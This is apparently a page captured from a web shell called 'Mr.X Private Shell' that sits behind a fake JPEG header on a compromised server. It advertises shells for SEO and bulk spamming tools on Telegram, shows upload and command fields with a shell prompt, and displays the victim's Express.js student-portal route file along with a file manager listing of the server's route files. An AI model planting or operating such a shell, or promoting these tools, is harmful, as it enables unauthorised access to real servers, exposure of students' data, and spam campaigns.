����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
import express from "express";
import { userAuth, checkRole } from "../middlewares/AuthMiddleware.js";
import validateBody from "../middlewares/Validator.js";
import { addReplySchema, createQuerySchema } from "../validations/studentValidation.js";
import {createQuery, addReplyToQuery, getMyQueries, getQueryDetails, getMyClasses} from '../controllers/student/studentQueryController.js'
import {getAnswers, submitAnswers, listTeachersForSurvey, getSurveyQuestions} from '../controllers/student/teacherSurveyAns.js'

import {
  getStudentHistory,
  getStudentSubjects,
  getStudentSummary,
  getStudentAnalytics,
  getSubjectReport
} from '../controllers/student/studentGrades.js'

import {uploadFile} from '../config/multer.js'

import {
    getDashboardSummary, 
    getTimetable
} from '../controllers/student/studentDashboardController.js'

import {
    getAttendanceByStudent,
    getAttendanceByMonth,
    getAttendanceSummaryCard,
    getAttendanceYearlySummary
} from '../controllers/student/studentAttendance.js'

import {
  getStudentAssignments,
  getAssignmentDetails,
  submitAssignment,
  getMySubmissions,
  getMySubmissionDetails,
  getMyGrades,
  getMyEnrollment
} from "../controllers/student/studentAssignmnet.js";

import {
  getStudentQuizDashboardCards,
  getStudentQuizzes,
  submitQuiz,
  getStudentQuizResult,
  getStudentQuizDetails
} from "../controllers/student/studentQuiz.js";

import {
  getStudentNotifications,
  getStudentNotificationDetail
} from '../controllers/notificationController.js'

import {
  getEventDetails,
  getStudentDetails,
  getStudentEvents,
} from '../controllers/student/studentProfile.js'

import {
  changeStudentEmail,
  changeStudentPassword,
  getStudentProfile,
  updateStudentProfile
} from '../controllers/student/settingController.js'

import {
  studentApplyLeave,
  studentCancelLeave,
  studentGetLeaveDetails,
  studentGetMyLeaves,
  studentGetMyQuota
} from '../controllers/student/studentLeave.js'

const router = express.Router();
router.use(userAuth, checkRole(["student"]));

// Student Query Routes
router.post("/queries",uploadFile.array('files', 5),  validateBody(createQuerySchema), createQuery);
router.get("/my-queries", getMyQueries);
router.get("/query/:id", getQueryDetails);
router.post("/query/:id/responses",uploadFile.array('files', 5), validateBody(addReplySchema), addReplyToQuery);
router.get('/my-classes', getMyClasses)

// Teacher Survey Answer Routes
router.get("/teacher-survey/answers", getAnswers);
router.post("/teacher-survey/answers", submitAnswers);
router.get("/teacher-survey/teachers", listTeachersForSurvey);
router.get("/teacher-survey-questions", getSurveyQuestions);

//Dashboard Routes
router.get('/dashboard/summary', getDashboardSummary);
router.get('/dashboard/timetable', getTimetable);


// Student Attendance Routes
router.get('/attendance', getAttendanceByStudent);
router.get('/attendance/summary-card', getAttendanceSummaryCard);
router.get('/attendance/monthly', getAttendanceByMonth);
router.get('/attendance/yearly-summary', getAttendanceYearlySummary);

// Student Assignment Routes
router.get("/assignment", getStudentAssignments);
router.get("/assignment/:id", getAssignmentDetails);
router.get('/enrollment', getMyEnrollment)
router.post(
  "/assignment/:id/submit",
  uploadFile.array("submissionFiles", 20),
  submitAssignment
);
router.get("/assignment/me/submissions", getMySubmissions);
router.get("/assignment/:assignmentId/submission/:submissionId", getMySubmissionDetails);
router.get("/assignment/me/grades", getMyGrades);

// Student Quiz Routes
router.get("/quiz/dashboard-cards",  getStudentQuizDashboardCards);
router.get("/quiz",  getStudentQuizzes);
router.post("/quiz/:id/submit",  submitQuiz);
router.get("/quiz/:id/result",  getStudentQuizResult)
router.get("/quiz/:id/details",  getStudentQuizDetails);

// Student Grades Routes
router.get("/grades/summary", getStudentSummary);
router.get("/grades/subjects", getStudentSubjects);
router.get("/grades/history", getStudentHistory);
router.get("/grades/analytics", getStudentAnalytics);
router.get("/grades/subject/:courseId", getSubjectReport);

// Student Notifications Routes
router.get("/notifications", getStudentNotifications);
router.get("/notifications/:id", getStudentNotificationDetail);

// Student Profile Route
router.get("/profile/details", getStudentDetails);
router.get("/profile/events", getStudentEvents);
router.get("/profile/events/:id", getEventDetails);


router.get('/profile', getStudentProfile);
router.patch('/change-email', changeStudentEmail)
router.patch('/change-password', changeStudentPassword)
router.patch('/change-profile', updateStudentProfile)


router.post("/leave/apply",  studentApplyLeave);
router.get("/my-leaves",  studentGetMyLeaves);
router.get("/my-quota",  studentGetMyQuota);
router.get("/details/:id",  studentGetLeaveDetails);
router.delete("/cancel/:id",  studentCancelLeave);
export default router;

Filemanager

Name Type Size Permission Actions
accountsRoutes.js File 5.47 KB 0644
adminRoutes.js File 19.54 KB 0644
health.js File 255 B 0644
hrRoutes.js File 15.27 KB 0644
index.js File 573 B 0644
studentRoutes.js File 4.82 KB 0644
teacherRoutes.js File 8.8 KB 0644
userRoutes.js File 794 B 0644